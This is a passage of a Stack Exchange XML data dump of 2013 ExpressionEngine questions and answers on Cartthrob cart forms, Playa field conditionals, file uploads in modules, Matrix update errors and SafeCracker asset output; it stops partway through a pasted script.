  <row Id="13233" PostTypeId="1" CreationDate="2013-08-28T12:45:07.053" Score="0" ViewCount="291" Body="&lt;p&gt;I am building a web app for a client. The gist of it is this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Angular JS / Cartthrob / Stash to load all products. AngularJS to filter through. Cartthrob handling the cart side of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting HTML all looks OK to me. I think something is not quite right with the multi-add_to_cart tag and the why I have coded it. I have tried a zillion different set ups to get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, when I submit, I get a refresh, no errors, but nothing is adding to the cart and debug doesn't show anything. I think I am missing a trick with the add to cart tag. Can you see what I have done wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Product loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:multi_add_to_cart_form return=&quot;&quot; show_errors=&quot;yes&quot;}&#xA;    &amp;lt;div class=&quot;accordion&quot; id=&quot;product_list&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;accordion-group&quot; ng-repeat=&quot;prod in products | filter:query &quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;accordion-heading order_listing&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;col-lg-2 image_container&quot;&amp;gt;&#xA;                        &amp;lt;img ng-src=&quot;{{prod.images_url}}&quot; width=&quot;100px&quot;&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;col-lg-7&quot;&amp;gt;&#xA;                        &amp;lt;h4&amp;gt;{{prod.series_description | uppercase}}: &amp;lt;small&amp;gt;{{prod.product_sku}}&amp;lt;/small&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;span ng-show=&quot;prod.sort_group !=''&quot; class=&quot;label label-info&quot;&amp;gt;{{prod.sort_group}}&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;span ng-show=&quot;prod.tool_type !=''&quot; class=&quot;label label-warning&quot;&amp;gt;{{prod.tool_type}}&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;span ng-show=&quot;prod.material !=''&quot; class=&quot;label label-danger&quot;&amp;gt;{{prod.material}}&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;em class=&quot;text-muted&quot;&amp;gt;{{prod.finish}}&amp;lt;/em&amp;gt;&#xA;                        &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;                        &amp;lt;p class=&quot;text-muted&quot;&amp;gt;{{prod.application_details}}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;col-lg-1&quot;&amp;gt;&#xA;                        &amp;lt;i class=&quot;icon-heart icon-2x icon-grey pull-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;col-lg-2&quot;&amp;gt;&#xA;                        &amp;lt;a class=&quot;accordion-toggle pull-right btn btn-primary btn-mini&quot; data-toggle=&quot;collapse&quot; ng-click=&quot;getDetail($index)&quot; data-parent=&quot;#product_list&quot; href=&quot;#collapse{{prod.entry_id}}&quot;&amp;gt;&#xA;                            View Details&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;collapse{{prod.entry_id}}&quot; class=&quot;accordion-body collapse&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;accordion-inner&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;                      &amp;lt;div class=&quot;panel-heading&quot;&amp;gt;&amp;lt;strong&amp;gt;Pack Details:&amp;lt;/strong&amp;gt;&amp;lt;/div&amp;gt;&#xA;                      {{prod.pack_details}}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {sn:general:detailloader}&#xA;                    &amp;lt;table class=&quot;table table-hover&quot;&amp;gt;&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;th&amp;gt;Series Code&amp;lt;/th&amp;gt;&#xA;                            &amp;lt;th&amp;gt;Size&amp;lt;/th&amp;gt;&#xA;                            &amp;lt;th&amp;gt;Price&amp;lt;/th&amp;gt;&#xA;                            &amp;lt;th&amp;gt;Add to order&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;entry_id[{{prod.entry_id}}]&quot; value=&quot;{{prod.entry_id}}&quot; style=&quot;width: 40px;&quot; /&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;title[{{prod.entry_id}}]&quot; value=&quot;{{prod.entry_id}}&quot; style=&quot;width: 40px;&quot; /&amp;gt;&#xA;&#xA;                        &amp;lt;tr ng-repeat=&quot;series_detail in productDetail&quot;&amp;gt;&#xA;                            &amp;lt;td&amp;gt;{{series_detail.part_no}}&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td&amp;gt;{{series_detail.size}}&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td&amp;gt;{{series_detail.price2020 | currency:&quot;£&quot;}}&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&#xA;                                &amp;lt;div class=&quot;form-inline&quot;&amp;gt;&#xA;                                    &amp;lt;input class=&quot;form-control input-small&quot; ng-model=&quot;qty&quot; ng-init=&quot;qty=''&quot; type=&quot;text&quot;  name=&quot;quantity[{{prod.entry_id}}-{{$index}}]&quot; style=&quot;width: 40px;&quot;&amp;gt;&#xA;&#xA;                                    &amp;lt;input type=&quot;text&quot; value=&quot;{{series_detail.part_no}}&quot; name=&quot;item_options[{{prod.entry_id}}-{{$index}}][option_value]&quot; style=&quot;width: 40px;&quot;/&amp;gt;&#xA;&#xA;                                    &amp;lt;input type=&quot;text&quot; name=&quot;price[{{prod.entry_id}}-{{$index}}]&quot; value=&quot;{{series_detail.price2020 * qty}}&quot; style=&quot;width: 60px;&quot; /&amp;gt;&#xA;                                    &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-default btn-small&quot;&amp;gt;Add&amp;lt;/button&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    &amp;lt;/table&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:cartthrob:multi_add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks all&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-08-29T07:55:42.540" Title="AngularJS, Cartthrob multi_add_to_cart with options = Nothing adding" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13234" PostTypeId="2" ParentId="13216" CreationDate="2013-08-28T12:46:07.150" Score="1" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://devot-ee.com/add-ons/template-routes&quot; rel=&quot;nofollow&quot;&gt;Template Routes&lt;/a&gt; by Rob Sanchez. You should be able to setup a route with wildcards in a set order, then match those to each part of the segment that Super Search needs. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['template_routes'] = array(&#xA;    'search/:any/:any/:any/:num/:num' =&amp;gt; &#xA;    'search/results/search&amp;amp;cf_make=$1&amp;amp;cf_model=$2&amp;amp;cf_fuel=$3&amp;amp;cf_price-from=$4&amp;amp;cf_price-to=$5'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other thing you'd have to do is make your search form redirect to the clean URL, but that should be fairly easy.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-28T12:46:07.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13235" PostTypeId="2" ParentId="13223" CreationDate="2013-08-28T12:51:19.057" Score="2" Body="&lt;p&gt;You can use use a variable in your return url like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;return=&quot;/mytmeplategroup/thankyou/%FENTRY_ID%/&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on the thankyou template do something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:forms:entries fentry_id=&quot;{segment_3}&quot;}&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2013-08-28T12:51:19.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13236" PostTypeId="1" AcceptedAnswerId="13238" CreationDate="2013-08-28T13:09:24.203" Score="5" ViewCount="939" Body="&lt;p&gt;I have a playa field product_videos and am using the following conditional to check if it is empty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if product_videos:total_children &amp;gt; 0}&#xA;  //do something&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems pretty straight forward to me, what am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should add the result is that the code inside the conditional never appears despite there being entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:playa:total_children field='product_videos'}&quot;}&#xA;  //do something&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is listed as a correct answer in &lt;a href=&quot;https://stackoverflow.com/questions/13751781/check-playa-count-in-expression-engine&quot;&gt;this SO question&lt;/a&gt;, this results in a php error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered Severity: User Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Invalid EE Conditional Variable: {if&#xA;  &quot;exp:playa:total_children entry_id=&quot;285&quot; field='product_videos'&#xA;  var_prefix=&quot;playaDbig9XJo&quot;}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: libraries/Functions.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 2855&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="902" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-08-28T13:35:56.837" Title="How can I check if a playa field is empty?" Tags="|playa|pixelandtonic|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13237" PostTypeId="1" AcceptedAnswerId="13239" CreationDate="2013-08-28T13:33:37.537" Score="1" ViewCount="609" Body="&lt;p&gt;I've been stuck trying to upload a file in a module I am buidling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the EE instance and now I am trying the CI instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked permission settings and those are fine for the directory I am trying to upload to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set the form type to use the form_open_multipart&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my upload function that does not want to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function upload_file()&#xA;{&#xA;    $this-&amp;gt;CI =&amp;amp; get_instance();&#xA;&#xA;    $file = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('userfile');&#xA;&#xA;    $config['upload_path'] = './images/';&#xA;    $config['allowed_types'] = 'gif|jpg|png';&#xA;    $this-&amp;gt;CI-&amp;gt;load-&amp;gt;library('upload', $config);&#xA;&#xA;    if ( ! $this-&amp;gt;CI-&amp;gt;upload-&amp;gt;do_upload($file) )&#xA;        print 'could not upload file';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-08-28T14:09:19.120" Title="upload library not working in module I am building" Tags="|add-on-development|module|file-uploads|uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13238" PostTypeId="2" ParentId="13236" CreationDate="2013-08-28T13:35:56.837" Score="7" Body="&lt;p&gt;...And as soon as I write it down in a question, I figured out my mistake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct solution for future visitors was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{product_videos:total_children}&quot; &amp;gt; 0}&#xA;  //do something&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="902" LastActivityDate="2013-08-28T13:35:56.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13239" PostTypeId="2" ParentId="13237" CreationDate="2013-08-28T14:09:19.120" Score="2" Body="&lt;p&gt;A few things that should help you out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You should be using the EE instance. Normally you to the get_instance() in the constructor of your module and make it available as a class variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The do_upload method accepts a string with the name of the file upload field, not the value of the posted field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your code should look somehting like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Configure the upload class&#xA;$config['upload_path'] = './images/';&#xA;$config['allowed_types'] = 'gif|jpg|png';&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('upload', $config);&#xA;&#xA;// Error checking&#xA;if ( ! $this-&amp;gt;EE-&amp;gt;upload-&amp;gt;do_upload('file_field_name'))&#xA;{&#xA;    $data = array(&#xA;      'error' =&amp;gt; $this-&amp;gt;EE-&amp;gt;upload-&amp;gt;display_errors()&#xA;    );&#xA;&#xA;}&#xA;// No problems so do our processing&#xA;else&#xA;{&#xA;    // Store the info about the uploaded file&#xA;    $upload_data = $this-&amp;gt;EE-&amp;gt;upload-&amp;gt;data();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was taken directly from a module I wrote that uploads files, so should work for you with some minor adjustments.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-08-28T14:09:19.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13240" PostTypeId="2" ParentId="13233" CreationDate="2013-08-28T14:34:25.207" Score="2" Body="&lt;p&gt;Your rendered HTML would be far more useful than your template code in this case, but there are some irregularities here that I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;entry_id[{{prod.entry_id}}]&quot; value=&quot;{{prod.entry_id}}&quot; style=&quot;width: 40px;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;title[{{prod.entry_id}}]&quot; value=&quot;{{prod.entry_id}}&quot; style=&quot;width: 40px;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These indicate to me that you're using each product's &lt;code&gt;entry_id&lt;/code&gt; as the key for your array of items. But later you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input class=&quot;form-control input-small&quot; ng-model=&quot;qty&quot; ng-init=&quot;qty=''&quot; type=&quot;text&quot;  name=&quot;quantity[{{prod.entry_id}}-{{$index}}]&quot; style=&quot;width: 40px;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;{{series_detail.part_no}}&quot; name=&quot;item_options[{{prod.entry_id}}-{{$index}}][option_value]&quot; style=&quot;width: 40px;&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;price[{{prod.entry_id}}-{{$index}}]&quot; value=&quot;{{series_detail.price2020 * qty}}&quot; style=&quot;width: 60px;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here you're using &lt;code&gt;entry_id-$index&lt;/code&gt; as the key, so your &lt;code&gt;quantity&lt;/code&gt;, &lt;code&gt;item_options&lt;/code&gt; and &lt;code&gt;price&lt;/code&gt; will not match your &lt;code&gt;entry_id&lt;/code&gt; and &lt;code&gt;title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(By the way, I'm pretty sure that &lt;code&gt;title&lt;/code&gt; is ignored when adding products which are not &quot;on-the-fly&quot;, and that &lt;code&gt;allow_user_price&lt;/code&gt; must be set and if you want to pass a custom &lt;code&gt;price&lt;/code&gt; for the same.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-28T14:34:25.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13241" PostTypeId="1" CreationDate="2013-08-28T15:18:34.457" Score="3" ViewCount="387" Body="&lt;p&gt;Have just updated &lt;strong&gt;Matrix to 2.5.6&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to &lt;strong&gt;Add-ons &gt; Fieldtypes &gt; Matrix&lt;/strong&gt; to trigger the update script I get this error.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred Error Number: 1060&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Duplicate column name 'var_id'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ALTER TABLE exp_matrix_cols ADD var_id INT(6) UNSIGNED AFTER field_id,&#xA;  ADD INDEX (var_id)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: third_party/matrix/ft.matrix.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 496&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="151" LastActivityDate="2014-06-24T21:28:17.940" Title="DB error after Matrix update" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13242" PostTypeId="1" CreationDate="2013-08-28T16:01:11.717" Score="2" ViewCount="52" Body="&lt;p&gt;Here is my scenario: I have over 1,000 untagged images that I need to be able to sort and search in order to use in my entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking at tagger by DevDemon but then I can only look for one tag at a time in the &quot;Content-&gt;Edit&quot; page. (Unless I'm missing something).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like would be the ability to add multiple tags fairly easily (Or easy for me to make forms that will create/updates the entries). Plus the ability to then search for the images using more than one tag (so I want to look for images that are tagged with both &quot;men&quot; and &quot;hard hat&quot;). When I do that search, I'd like the results to show the image (or a thumbnail).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do any of you know of anything out there that already does this? I will build it if I need to but just hate to reinvent the wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2013-08-28T17:01:33.157" Title="What is the best way to tag images for use in other channels?" Tags="|search|sort|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13243" PostTypeId="1" AcceptedAnswerId="13291" CreationDate="2013-08-28T16:19:29.107" Score="2" ViewCount="216" Body="&lt;p&gt;I have two channels:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;locations &lt;/li&gt;&#xA;&lt;li&gt;meetup&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;meetup&quot; has a playa field called {chapter_affiliation}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one entry in &quot;meetup&quot; with the playa field selecting one location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.7.0 and Playa 4.4.5 (fresh install of Playa).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following templates are copy pasted from the real templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template for &quot;meetup&quot; properly shows the affiliated chapter using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='meetup'}&#xA;    {exp:playa:children field=&quot;chapter_affiliation&quot;}&#xA;    &amp;lt;div&amp;gt;&amp;lt;a href=&quot;/locations/{url_title}&quot;&amp;gt;Affiliated Chapter {title}&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My template for &quot;locations&quot; will not show the parent &quot;meetup&quot; and I've been staring at it for so long, I can't see why not. The following template will list all the locations, but nothing lists underneath any location, despite the above template properly showing the affiliation. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;locations&quot;}&#xA;    &amp;lt;h3&amp;gt;As Seen in {title}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    {exp:playa:parents channel=&quot;meetup&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path={channel_short_name}/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:playa:parents}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is: What have I done wrong and how can I fix it. &lt;/p&gt;&#xA;" OwnerUserId="588" LastActivityDate="2013-08-29T13:35:45.013" Title="exp:playa:parents not returning parents" Tags="|playa|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13244" PostTypeId="2" ParentId="13217" CreationDate="2013-08-28T16:49:44.610" Score="2" Body="&lt;p&gt;I just read the answer you posted answer and you don't need PHP to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the template where you have your &lt;code&gt;{exp:channel:categories}&lt;/code&gt; tag, change how the category URL is created so it just passes the category ID... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;{path=agenda}&quot;&amp;gt;&lt;/code&gt; becomes &lt;code&gt;&amp;lt;a href=&quot;/agenda/{category_id}&quot;&amp;gt;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will give you a URL that looks like &lt;code&gt;/agenda/9&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your channel:entries tag you use &lt;code&gt;category=&quot;9|{segment_2}&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-08-29T16:07:10.893" LastActivityDate="2013-08-29T16:07:10.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13245" PostTypeId="2" ParentId="13242" CreationDate="2013-08-28T17:01:33.157" Score="2" Body="&lt;p&gt;Take a look at Assets (&lt;a href=&quot;http://devot-ee.com/add-ons/assets&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/assets&lt;/a&gt;) by Pixel &amp;amp; Tonic. It allows to you add metadata for each image which you can use for &quot;tagging&quot;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-08-28T17:01:33.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13246" PostTypeId="1" AcceptedAnswerId="13249" CreationDate="2013-08-28T17:27:25.787" Score="5" ViewCount="194" Body="&lt;p&gt;I'm looking for an ecommerce solution to use with EE but I need to be able to use it within a responsive design. I don't see anything in the docs as to what markup is output with a cart tag or checkout tag. From the &quot;showcase&quot; sites on the website, it looks like the cart is a table and the checkout is a simple form. Is this the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've built a responsive ecommerce site using Foxycart before and had to override a lot of their CSS, but got it working. How much control does the developer have over the markup and styling of the cart, checkout and other basic templates or tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a vanilla install somewhere out there to look at the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2013-08-28T18:02:52.670" Title="Using Expresso store in a responsive design" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13247" PostTypeId="1" AcceptedAnswerId="13248" CreationDate="2013-08-28T17:52:47.440" Score="2" ViewCount="152" Body="&lt;p&gt;I'm trying to remove ALL inserted assets in SafeCracker, I've got my opening tag like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker &#xA;    channel=&quot;{prv_channel}&quot;&#xA;    return=&quot;{segment_1}/{segment_2}/{segment_3}&quot; &#xA;    entry_id=&quot;{entry_id}&quot;&#xA;    class=&quot;form-inline&quot;&#xA;    include_jquery=&quot;no&quot;&#xA;    include_assets=&quot;no&quot;&#xA;    datepicker=&quot;no&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in theory, should this remove all the &quot;inserted&quot; code? Well... It doesn't :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt; &#xA;if (typeof EE == &quot;undefined&quot; || ! EE) { &#xA;var EE = {&quot;BASE&quot;:&quot;http:\/\/website\/index.php?&quot;,&quot;THEME_URL&quot;:&quot;http:\/\/website\/themes\/cp_themes\/default\/&quot;,&quot;PATH_CP_GBL_IMG&quot;:&quot;http:\/\/website\/themes\/cp_global_images\/&quot;,&quot;filebrowser&quot;:{&quot;endpoint_url&quot;:&quot;ACT=2&quot;,&quot;window_title&quot;:&quot;File Manager&quot;,&quot;theme_url&quot;:&quot;http:\/\/website\/themes\/cp_themes\/default\/&quot;},&quot;fileuploader&quot;:{&quot;window_title&quot;:&quot;File Upload&quot;,&quot;delete_url&quot;:&quot;C=content_files&amp;amp;M=delete_files&quot;},&quot;lang&quot;:{&quot;or&quot;:&quot;or&quot;,&quot;resize_image&quot;:&quot;Resize Image&quot;,&quot;return_to_publish&quot;:&quot;Return to Publish&quot;,&quot;confirm_exit&quot;:&quot;When you leave, any data entered will be lost. Are you sure you want to leave?&quot;,&quot;add_new_html_button&quot;:&quot;Add New HTML button&quot;},&quot;publish&quot;:{&quot;show_write_mode&quot;:true,&quot;title_focus&quot;:true,&quot;smileys&quot;:false},&quot;user_id&quot;:1,&quot;XID&quot;:&quot;ac7721bdd8cfa9b80a37ce5b27f741bae5d7ec41&quot;};}&#xA;mySettings = {&quot;nameSpace&quot;:&quot;html&quot;,&quot;onShiftEnter&quot;:{&quot;keepDefault&quot;:false,&quot;replaceWith&quot;:&quot;&amp;lt;br \/&amp;gt;\n&quot;},&quot;onCtrlEnter&quot;:{&quot;keepDefault&quot;:false,&quot;openWith&quot;:&quot;\n&amp;lt;p&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/p&amp;gt;\n&quot;},&quot;markupSet&quot;:[{&quot;name&quot;:&quot;b&quot;,&quot;key&quot;:&quot;B&quot;,&quot;openWith&quot;:&quot;&amp;lt;strong&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/strong&amp;gt;&quot;,&quot;className&quot;:&quot;btn_b&quot;},{&quot;name&quot;:&quot;i&quot;,&quot;key&quot;:&quot;I&quot;,&quot;openWith&quot;:&quot;&amp;lt;em&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/em&amp;gt;&quot;,&quot;className&quot;:&quot;btn_i&quot;},{&quot;name&quot;:&quot;blockquote&quot;,&quot;key&quot;:&quot;Q&quot;,&quot;openWith&quot;:&quot;&amp;lt;blockquote&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/blockquote&amp;gt;&quot;,&quot;className&quot;:&quot;btn_blockquote&quot;},{&quot;name&quot;:&quot;a&quot;,&quot;key&quot;:&quot;A&quot;,&quot;openWith&quot;:&quot;&amp;lt;a href=\&quot;[![Link:!:http:\/\/]!]\&quot;(!( title=\&quot;[![Title]!]\&quot;)!)&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/a&amp;gt;&quot;,&quot;className&quot;:&quot;btn_a&quot;},{&quot;name&quot;:&quot;img&quot;,&quot;key&quot;:&quot;&quot;,&quot;replaceWith&quot;:&quot;&quot;,&quot;className&quot;:&quot;btn_img&quot;}]};&#xA;myWritemodeSettings = {&quot;nameSpace&quot;:&quot;html&quot;,&quot;onShiftEnter&quot;:{&quot;keepDefault&quot;:false,&quot;replaceWith&quot;:&quot;&amp;lt;br 